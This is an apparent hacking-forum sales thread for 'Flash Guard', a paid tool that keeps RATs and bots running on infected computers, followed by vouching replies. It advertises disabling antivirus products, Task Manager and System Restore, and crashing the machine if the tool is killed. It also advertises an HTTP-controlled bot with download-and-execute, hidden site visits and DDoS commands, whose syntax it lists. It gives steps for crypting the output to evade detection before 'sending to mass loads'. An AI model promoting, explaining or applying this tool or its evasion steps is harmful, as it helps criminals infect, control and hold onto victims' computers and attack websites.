[Six Below]

Flash Guard
Flash Factions
Coded by KFC Watermelon

Protect Your RAT/Bot/File From Removal

[img]http://turboimg.com/p/xnk1376345972a.png[/img]

Description
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Flash Guard is a powerful utility designed to protect your file and increase its longevity. Flash Guard utilizes multiple unique methods in order to ensure your files stay alive and protected on the host computer

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Main Features
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

• Protect your RAT/Bot/File from Removal
  
• Stop New Malware from being Installed
  
• Remotely Execute new Commands (Such as Download, Open Sites, etc)
  
• Supports Unlimited Files and all File types
  
• Powerful Persistence, resident to most bot killers
  

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
HTTP Commands
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Flash Guard features a built-in HTTP Bot that allows you to remotely send commands to your users over HTTP.

It's a simple tool that allows you to remotely control your Flash Guard bots.

To use it, you're going to want to enable HTTP commands on Flash Guard, obviously.

The URL must be a direct link to a text document that you can edit. You can simply create a .txt in your dropbox and throw the public link in. That will work perfectly fine. Or use some hosting. That's fine too.

To send a command, simply edit the text document. Here are the commands:
download DIRECTURL FILENAME -s "Startup Info"

The -s "Startup info" is only if you want the file to be added to startup. The URL MUST be a direct link and the filename must not had been used before. The filename must have an extension, ex: svchost.exe

You can also add "disablehavoc" to the end of download to disable havoc if you need.

Commands Include:

• Download and Execute a file, add it to startup and protect it
  
• Visit a website (visible and hidden, hidden is stealthy but looks like a real user)
  
• Attack a website (RAPID HTTP GET Layer 7 DDOS) - Takes down most sites without a problem.
  
• HOST File Editor
  
• Turn HaVoc on or off. Can be used with D&E command.
  
• Kill (Terminates Flash Guard)

Commands are sent by simply editing a text document and putting in what command you want. This is one of Flash Guard's best features.

Command List:

• update URL FILENAME Example: update http://site.com/MyNewFUDFlashGuardBin.exe WindowsCMD.exe
  
• enablehavoc
  
• disablehavoc
  
• download URL FILENAME
  
• visit URL/WEBSITE
  
• visit -h URL/WEBSITE
  
• attack URL/WEBSITE TIME
  
• hosts "hosts editor"
  
• kill

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Flash Guard
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

The basis of Flash Guard's itself is the File Guard feature. The File Guard supports a unlimited number of files, and all file types.

• Flash Guard works by downloading your file (if it hasn't already) and executing it utilizing the many features listed below. Flash Guard will monitor your file's process PID, and if terminated, Flash Guard will restart it.
  
• Flash Guard, in addition, is also capable of ensuring your file always starts on startup, and prevents the file from being removed or modified by both user and antivirus software alike.
  

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Anti-Virus Killer
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Flash Guard is able to remove the many, free AntiVirus software that try to remove your software.

Confirmed to Kill:

• Avira AntivirusSpoiler (Click to View)
  This is Avira after running Flash Guard and rebooting. The real-time module completely failed to start, and hitting "Fix problem" did absolutely nothing. Avira was basically destroyed.
  [img]http://turboimg.com/p/udj1375906646k.PNG[/img]
  
  In addition, Avira failed to update at all:
  
  
• Avast AntivirusSpoiler (Click to View)
  After running Flash Guard and rebooting, Avast Antivirus and its modules were completely disabled and not working.
  
  
  
  
  
• Malwarebytes Anti-MalwareSpoiler (Click to View)
  Flash Guard was able to completely remove Malwarebytes Anti-Malware, including the Pro version, and completely stopped it from working at all. There are no screenshots, as Malwarebytes would simply not open at all.

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Attempt Elevated
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Flash Guard will attempt to obtain elevated, admin permissions for better persistence and more efficient bot killer.

• On Vista/7/8 with UAC DISABLED, Flash Guard will automatically gain Elevated Permissions, and will copy itself to a system folder.  
  
• On Vista/7/8 with UAC ENABLED, Flash Guard will prompt for admin permissions Spoiler (Click to View)[img]http://turboimg.com/p/yke1375906252m.PNG[/img]
  

Confirmed working on:

Flash Guard supports everything that doesn't add startup automatically or create new files. For example: If you're using Dark Comet, disable Dark Comet's startup and install feature. Flash Guard add the startup and install for you.

• DarkComet
  
• BlackShades
  
• Imminent Monitor
  
• jRAT
  
• And MANY more!
  

NOTE: If you are using Flash IRC Bot there is NO need to purchase Flash Guard. Flash IRC Bot has Flash Guard technology built in.

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
HaVok File Shield
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Perhaps Flash Guard's best and most unique feature. HaVok acts as a Real-Time File Monitor. Why HaVoc? HaVok is true to its definition of "Widespread destruction". HaVoc being a Real-Time file monitor, monitors the hosts file system for additional malicious activity. HaVoc is capable of preventing the installation of almost all additional malware, including complex, higher end malicious files. HaVoc also devastates the "Download and Execute" function in bots, RATs, etc - in laymen's terms, disabling them completely

• In addition, HaVoc prevents the host PC from downloading or installing new software, such as Anti-Malware and Anti-Virus products.
  
• HaVoc's File Searcher features, which is designed to search a total of twenty (20) different directories and their sub-directories for malicious or useless files and "junk" file, and get rid of them. This improves the host computers PC performance, which in turn means faster, more stable bots!
  

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Persistence
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Because Flash Guard's primary use is to protect your file, we've worked hard to ensure it is very persistent. Flash Guard is resistant to most bot killers, and user deletion alike.

• Process Persistence - Prevents Usermode applications from terminating Flash Guard or your file on UAC-Enabled computers
  
• File Persistence - Protects Flash Guard and your file from modification, including: deletion, modification, permission changes and more.
  
• Startup Persistence: Ensures Flash Guard is always in startup. Prevents deletion, modification, and disabling of its startup.
  
• Set Process Critical. On XP and NON-UAC enabled computers, Flash Guard is capable of setting its process to critical. This means, when killed by a Bot Killer or user, the computer will BSOD. This usually tends to cause a BSOD when user is shutting down their computer as well, however, we've incorporated a fix for this that un-sets the process critical on user shutdown and reboot.
  

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Bot Killer
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Bot killers goal is to remove malicious software on the host machine.

Flash Guard utilizes multiple methods in order to find, and remove malware on the hosts machine. Flash Guard's Bot Killer will NOT harm or remove your file - only additional malware you did not chose to execute!

Flash Guard is able to kill and remove nearly all malware that doesn't feature a rootkit. This includes RATs (DarkComet, BlackShades, etc), Host Booters such as IPKiller, IRC Bots, and much more. Flash Guard also cleans the host machine and ensures maximum longevity for your file.

• Process Searcher: Searches running processes for malicious items, terminates and deletes them. Even more deadly with elevated admin permissions.
  
• Startup Killer: Searches registry and startup folders for malicious items. Flash Guard has a separate module that stops these files from working after a reboot - and is successfully on nearly everything.
  
• Kill .NET Crypters: Searches for files a majority of .NET crypters inject into, and kills their parent process.
  
• Kill Java: Kills running java processes. This will terminate Java malware, which is becoming more and more present in today's world.
  
• Auto Bot Kill: Runs the Bot Killer module every 5 minutes, can help battle pesky process persistence in malware.
  

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Disablers
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Flash Guard is capable of disabling applications which may assist the specific computers user in the removing of Flash Guard.

• Task Manager
  
• Regedit
  
• System Restore
  
• View Hidden Files and Folders
  

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Flash Guard Preview
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Flash Guard Main Display: Spoiler (Click to View)[img]http://turboimg.com/p/keh1377225130f.PNG[/img]

Flash Guard Main Display Files Added: Spoiler (Click to View)[img]http://turboimg.com/p/aur1377225214f.PNG[/img]

Flash Guard Add File Feature: Spoiler (Click to View)[img]http://turboimg.com/p/xnk1377225248j.PNG[/img]

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Pricing & Payment Information
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Price: $32 Lifetime

Flash Guard is a Netseal protected program (along with additional obfuscation to the application itself) that allows for easy access and allows us to send updates with ease.

All Flash Guard payments are taken manually via PayPal. Directly after checkout, you will receive a download link to the Flash Guard application, in addition a serial code to activate your specific copy.

If you are interested in purchasing Flash Guard, please contact Six Below via HF PM or Skype. All contact info can be found below in the "Contact" section.

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Contact Information
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

• Head Support/Sales: Six Below
  Skype: SixBelowHF
  
• Coder/Developer: KFC Watermelon (Do NOT contact for Flash Guard questions, or sales related questions.)

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Crypting Information
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Flash Guard is not to be used as a crypter. All Flash Guard output bins are currently detected at a 5/35+ ratio. Your Flash Guard output bin should be crypted prior to sending out. We included "Crypting Steps" below. Any crypter that supports "Managed Files" should work fine. This is a question for your crypter provider rather then us.

We cannot confirm, nor will be be testing any crypter unless asked to explicitly by a crypter owner. If you are a crypter owner that is willing to give us a test crypt please contact Six Below.

Crypting Steps:

• 1) Create bin with no added options. No startup or persistence what-so-ever.
  2) Enter your uncrypted build into Flash Guard, and add any settings desired.
  3) Crypt the Flash Guarded output bin using a crypter that supports "Managed Files" and "EOF"

It is important to test your stub every step of this process to insure you are not making a mistake. Be smart people. Test on small loads or in a VM before sending to mass loads.

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
FAQ
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

Click here to view the FAQ on PasteBin

--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---
Update History/Log
--­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---­---

8/6/2013: Flash Guard (Version 1.0) was released.
8/8/2013: Flash Guard (Version 1.1) was released. Support for multiple files added.
8/12/2013: Flash Guard (Version 1.2) was released. HTTP control function now available!
8/16/2013: Flash Guard (Version 1.3) was released. Injection added. Start-up and persistence fixed.
8/25/2013: Flash Guard (Version 1.4) was released. Crypting issues fixed, along with many other minor bot stability and protection updates.
9/2/2013: Flash Guard (Version 1.5) was released. Allows better updating, along with better AV killing and increased persistence shield.
9/13/2012: Flash Guard (Version 1.6) was released. Minor updates added.

[Pick]

Vouch this is a true legit program. Its sexy and beast.

[MultipleChoice]

This looks really nice man and effective, GLWS

[janoycresnova23]

Very interesting product bro. Will keep an eye on it. Vouch on Six Below as well, guy is extremely trustworthy. :) Goodluck with your future sales brother!

[Six Below]

I understand this is a very unique project. I can assure everyone interested it will do everything advertised. Working on proof videos now, in addition to the thread design. Thanks to everyone for the kind words, and support!

[JavaProphet]

Vouch, talked to the developer a bit, and inspired the anti-java feature.

[Six Below]

Vouch, talked to the developer a bit, and inspired the anti-java feature.

You are to thank for the help in developing the "Kill Java" feature. Much appreciated my friend.

[KFC Watermelon]

Vouch for this project. Very well coded and excellent killing capabilities. Looking forward to the update.

[DeadlyVermilion]

Guarantee I could code up something that would kill this and it's files it's supposed to be protecting within an hour.

[Tutelary]

What is this program coded in? VB.NET? Python?

[Six Below]

Guarantee I could code up something that would kill this and it's files it's supposed to be protecting within an hour.

Ok, please do so, I would be happy to have it tested. I will be online for the next hour waiting for your response.

[KFC Watermelon]

Guarantee I could code up something that would kill this and it's files it's supposed to be protecting within an hour.

I helped code this thing. Send me what you got and I'd be happy to test it for you. Always looking for ways to improve. Thanks.

What is this program coded in? VB.NET? Python?

It's coded in VB.NET and requires the .NET 2.0 framework.

Thank you

[Six Below]

I helped code this thing. Send me what you got and I'd be happy to test it for you. Always looking for ways to improve. Thanks.

It's coded in VB.NET and requires the .NET 2.0 framework.

Thank you

I can confirm the above statements.

[imposter johnson]

This thing is the bomb! Just purchased it, thought it was a good price, and the idea of keeping your bot/rat longer is amazing! I would like to thank the coder for comming up with such a great idea! I love the product!

[Rogerbot]

Does anyone know any crypters that work with Flash Guard? If there is one I will buy today.